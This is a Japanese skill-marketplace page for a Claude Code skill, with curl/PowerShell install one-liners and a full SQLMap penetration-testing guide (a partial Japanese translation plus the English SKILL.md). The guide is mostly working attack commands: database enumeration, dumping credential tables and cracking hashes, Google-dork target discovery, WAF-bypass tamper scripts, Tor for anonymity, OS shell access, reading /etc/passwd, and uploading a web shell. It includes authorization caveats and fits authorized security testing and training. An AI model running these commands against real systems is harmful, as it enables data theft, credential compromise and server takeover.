sqlmap-database-penetration-testing
This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o sqlmap-database-penetration-testing.zip https://jpskill.com/download/20674.zip && unzip -o sqlmap-database-penetration-testing.zip && rm sqlmap-database-penetration-testing.zip
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/20674.zip -OutFile "$d\sqlmap-database-penetration-testing.zip"; Expand-Archive "$d\sqlmap-database-penetration-testing.zip" -DestinationPath $d -Force; ri "$d\sqlmap-database-penetration-testing.zip"
完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。
💾 手動でダウンロードしたい(コマンドが難しい人向け)
- 1. 下の青いボタンを押して
sqlmap-database-penetration-testing.zipをダウンロード - 2. ZIPファイルをダブルクリックで解凍 →
sqlmap-database-penetration-testingフォルダができる - 3. そのフォルダを
C:\Users\あなたの名前\.claude\skills\(Win)または~/.claude/skills/(Mac)へ移動 - 4. Claude Code を再起動
⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。
🎯 このSkillでできること
下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。
📦 インストール方法 (3ステップ)
- 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
- 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
- 3. 展開してできたフォルダを、ホームフォルダの
.claude/skills/に置く- · macOS / Linux:
~/.claude/skills/ - · Windows:
%USERPROFILE%\.claude\skills\
- · macOS / Linux:
Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。
詳しい使い方ガイドを見る →- 最終更新
- 2026-05-18
- 取得日時
- 2026-05-18
- 同梱ファイル
- 1
📖 Skill本文(日本語訳)
※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。
SQLMapによるデータベース侵入テスト
目的
SQLMapを使用した自動SQLインジェクション検出および悪用のための体系的な手法を提供します。このスキルでは、データベースの列挙、テーブルとカラムの発見、データ抽出、複数のターゲット指定方法、およびMySQL、PostgreSQL、MSSQL、Oracle、その他のデータベース管理システムに対する高度な悪用技術を扱います。
入力 / 前提条件
- ターゲットURL: 注入可能なパラメータを持つWebアプリケーションのURL(例:
?id=1) - SQLMapのインストール: Kali Linuxにプリインストールされているか、GitHubからダウンロード済みであること
- 検証済みの注入ポイント: SQLインジェクションが可能であると確認または疑われるURLパラメータ
- リクエストファイル(オプション): Burp SuiteでキャプチャされたPOSTベースのインジェクション用HTTPリクエスト
- 承認: 侵入テスト活動に対する書面による許可
出力 / 成果物
- データベースの列挙: ターゲットサーバー上のすべてのデータベースのリスト
- テーブル構造: ターゲットデータベース内の完全なテーブル名
- カラムマッピング: 各テーブルのカラム名とデータ型
- 抽出されたデータ: ユーザー名、パスワード、機密データを含むダンプされたレコード
- ハッシュ値: オフラインクラッキング用のパスワードハッシュ
- 脆弱性レポート: SQLインジェクションの種類と深刻度の確認
コアワークフロー
1. SQLインジェクションの脆弱性を特定する
手動検証
# クエリを破壊するためにシングルクォートを追加
http://target.com/page.php?id=1'
# エラーメッセージが表示された場合、SQLインジェクションの可能性が高い
# エラー例: "You have an error in your SQL syntax"
初期SQLMapスキャン
# 基本的な脆弱性検出
sqlmap -u "http://target.com/page.php?id=1" --batch
# 詳細な出力のための詳細度付き
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. データベースを列挙する
すべてのデータベースをリストする
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
主要オプション:
-u: 注入可能なパラメータを持つターゲットURL--dbs: データベース名を列挙する--batch: デフォルトの回答を使用する(非対話モード)
3. テーブルを列挙する
特定のデータベース内のテーブルをリストする
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
主要オプション:
-D: ターゲットデータベース名を指定する--tables: テーブル名を列挙する
4. カラムを列挙する
特定のテーブル内のカラムをリストする
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
主要オプション:
-T: ターゲットテーブル名を指定する--columns: カラム名を列挙する
5. データを抽出する
特定のテーブルデータをダンプする
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
特定のカラムをダンプする
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
データベース全体をダンプする
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
主要オプション:
--dump: 指定されたテーブルからすべてのデータを抽出する--dump-all: すべてのテーブルからすべてのデータを抽出する-C: 抽出するカラム名を指定する
6. 高度なターゲットオプション
HTTPリクエストファイルからのターゲット
# Burp Suiteのリクエストをファイルに保存し、その後:
sqlmap -r /path/to/request.txt --dbs --batch
ログファイルからのターゲット
# 複数のリクエストを含むログファイルをフィードする
sqlmap -l /path/to/logfile --dbs --batch
複数のURLをターゲットにする(バルクファイル)
# 1行に1つのURLを含むファイルを作成する:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
Google Dorks経由のターゲット(注意して使用してください)
# 脆弱なサイトを自動的に見つけてテストする(合法なターゲットのみ)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
クイックリファレンスコマンド
データベース列挙の進行
| ステージ | コマンド |
|---|---|
| データベースをリストする | sqlmap -u "URL" --dbs --batch |
| テーブルをリストする | sqlmap -u "URL" -D dbname --tables --batch |
| カラムをリストする | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| データをダンプする | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| すべてをダンプする | sqlmap -u "URL" -D dbname --dump-all --batch |
サポートされているデータベース管理システム
| DBMS | サポートレベル |
|---|---|
| MySQL | 完全サポート |
| PostgreSQL | 完全サポート |
| Microsoft SQL Server | 完全サポート |
| Oracle | 完全サポート |
| Microsoft Access | 完全サポート |
| IBM DB2 | 完全サポート |
| SQLite | 完全サポート |
| Firebird | 完全サポート |
| Sybase | 完全サポート |
| SAP MaxDB | 完全サポート |
| HSQLDB | 完全サポート |
| Informix | 完全サポート |
SQLインジェクション技術
| 技術 | 説明 | フラグ |
|---|---|---|
| Boolean-based blind | 真偽の応答からデータを推測する | --technique=B |
| Time-based blind | 時間遅延を使用してデータを推測する | --technique=T |
| Error-based | エラーメッセージからデータを抽出する | --technique=E |
| UNION query-based | UNIONを使用して結果を追加する | --technique=U |
| Stacked queries | 複数のステートメントを実行する | --technique=S |
| Out-of-band | DNSまたはHTTPを使用してデータ流出を行う | --technique=Q |
必須オプション
| オプション | 説明 |
|---|---|
-u |
ターゲットURL |
-r |
HTTPリクエストをファイルから読み込む |
-l |
Burp/WebScarabログからターゲットを解析する |
-m |
複数のターゲットを含むバルクファイル |
-g |
Google dork(責任を持って使用してください) |
--dbs |
データベースを列挙する |
--tables |
テーブルを列挙する |
--columns |
カラムを列挙する |
--dump |
テーブルデータをダンプする |
--dump-all |
すべてのデータベースデータをダンプする |
-D |
データベースを指定する |
-T |
テーブルを指定する |
-C |
カラムを指定する |
--batch |
非対話モード |
--random-agent |
ランダムなUser-Agentを使用する |
--level |
テストのレベル(1-5) |
--risk |
テストのリスク(1-3) |
制約と制限事項
運用上の境界
- ターゲットに有効な注入可能なパラメータが必要です
📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開
SQLMap Database Penetration Testing
Purpose
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
Inputs / Prerequisites
- Target URL: Web application URL with injectable parameter (e.g.,
?id=1) - SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
- Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
- Request File (Optional): Burp Suite captured HTTP request for POST-based injection
- Authorization: Written permission for penetration testing activities
Outputs / Deliverables
- Database Enumeration: List of all databases on the target server
- Table Structure: Complete table names within target database
- Column Mapping: Column names and data types for each table
- Extracted Data: Dumped records including usernames, passwords, and sensitive data
- Hash Values: Password hashes for offline cracking
- Vulnerability Report: Confirmation of SQL injection type and severity
Core Workflow
1. Identify SQL Injection Vulnerability
Manual Verification
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
Initial SQLMap Scan
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. Enumerate Databases
List All Databases
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
Key Options:
-u: Target URL with injectable parameter--dbs: Enumerate database names--batch: Use default answers (non-interactive mode)
3. Enumerate Tables
List Tables in Specific Database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
Key Options:
-D: Specify target database name--tables: Enumerate table names
4. Enumerate Columns
List Columns in Specific Table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
Key Options:
-T: Specify target table name--columns: Enumerate column names
5. Extract Data
Dump Specific Table Data
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
Dump Specific Columns
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
Dump Entire Database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
Key Options:
--dump: Extract all data from specified table--dump-all: Extract all data from all tables-C: Specify column names to extract
6. Advanced Target Options
Target from HTTP Request File
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
Target from Log File
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
Target Multiple URLs (Bulk File)
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
Target via Google Dorks (Use with Caution)
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
Quick Reference Commands
Database Enumeration Progression
| Stage | Command |
|---|---|
| List Databases | sqlmap -u "URL" --dbs --batch |
| List Tables | sqlmap -u "URL" -D dbname --tables --batch |
| List Columns | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| Dump Data | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| Dump All | sqlmap -u "URL" -D dbname --dump-all --batch |
Supported Database Management Systems
| DBMS | Support Level |
|---|---|
| MySQL | Full Support |
| PostgreSQL | Full Support |
| Microsoft SQL Server | Full Support |
| Oracle | Full Support |
| Microsoft Access | Full Support |
| IBM DB2 | Full Support |
| SQLite | Full Support |
| Firebird | Full Support |
| Sybase | Full Support |
| SAP MaxDB | Full Support |
| HSQLDB | Full Support |
| Informix | Full Support |
SQL Injection Techniques
| Technique | Description | Flag |
|---|---|---|
| Boolean-based blind | Infers data from true/false responses | --technique=B |
| Time-based blind | Uses time delays to infer data | --technique=T |
| Error-based | Extracts data from error messages | --technique=E |
| UNION query-based | Uses UNION to append results | --technique=U |
| Stacked queries | Executes multiple statements | --technique=S |
| Out-of-band | Uses DNS or HTTP for exfiltration | --technique=Q |
Essential Options
| Option | Description |
|---|---|
-u |
Target URL |
-r |
Load HTTP request from file |
-l |
Parse targets from Burp/WebScarab log |
-m |
Bulk file with multiple targets |
-g |
Google dork (use responsibly) |
--dbs |
Enumerate databases |
--tables |
Enumerate tables |
--columns |
Enumerate columns |
--dump |
Dump table data |
--dump-all |
Dump all database data |
-D |
Specify database |
-T |
Specify table |
-C |
Specify columns |
--batch |
Non-interactive mode |
--random-agent |
Use random User-Agent |
--level |
Level of tests (1-5) |
--risk |
Risk of tests (1-3) |
Constraints and Limitations
Operational Boundaries
- Requires valid injectable parameter in target URL
- Network connectivity to target database server required
- Large database dumps may take significant time
- Some WAF/IPS systems may block SQLMap traffic
- Time-based attacks significantly slower than error-based
Performance Considerations
- Use
--threadsto speed up enumeration (default: 1) - Limit dumps with
--startand--stopfor large tables - Use
--techniqueto specify faster injection method if known
Legal Requirements
- Only test systems with explicit written authorization
- Google dork attacks against unknown sites are illegal
- Document all testing activities and findings
- Respect scope limitations defined in engagement rules
Detection Risk
- SQLMap generates significant log entries
- Use
--random-agentto vary User-Agent header - Consider
--delayto avoid triggering rate limits - Proxy through Tor with
--torfor anonymity (authorized tests only)
Examples
Example 1: Complete Database Enumeration
# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found
# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.
# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns
# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
Example 2: POST Request Injection
# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test
# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
Example 3: Bulk Target Scanning
# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch
Example 4: Aggressive Testing
# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
Example 5: Extract Specific Credentials
# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T admin_users \
-C admin_name,admin_pass,admin_email \
--dump --batch
# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T users \
--dump --batch \
--passwords
Example 6: OS Shell Access (Advanced)
# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
Troubleshooting
Issue: "Parameter does not seem injectable"
Cause: SQLMap cannot find injection point Solution:
# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch
# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT
# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
Issue: Target Behind WAF/Firewall
Cause: Web Application Firewall blocking requests Solution:
# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment
# List available tamper scripts
sqlmap --list-tampers
# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2
# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
Issue: Connection Timeout
Cause: Network issues or slow target Solution:
# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60
# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1
# Add retries
sqlmap -u "URL" --dbs --batch --retries=5
Issue: Time-Based Attacks Too Slow
Cause: Default time delay too conservative Solution:
# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3
# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B
Issue: Cannot Dump Large Tables
Cause: Table has too many records Solution:
# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch
# Exclude specific columns
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
Issue: Session Drops During Long Scan
Cause: Session timeout or connection reset Solution:
# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
# Resume from saved session
sqlmap -u "URL" --dbs --batch --resume
# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive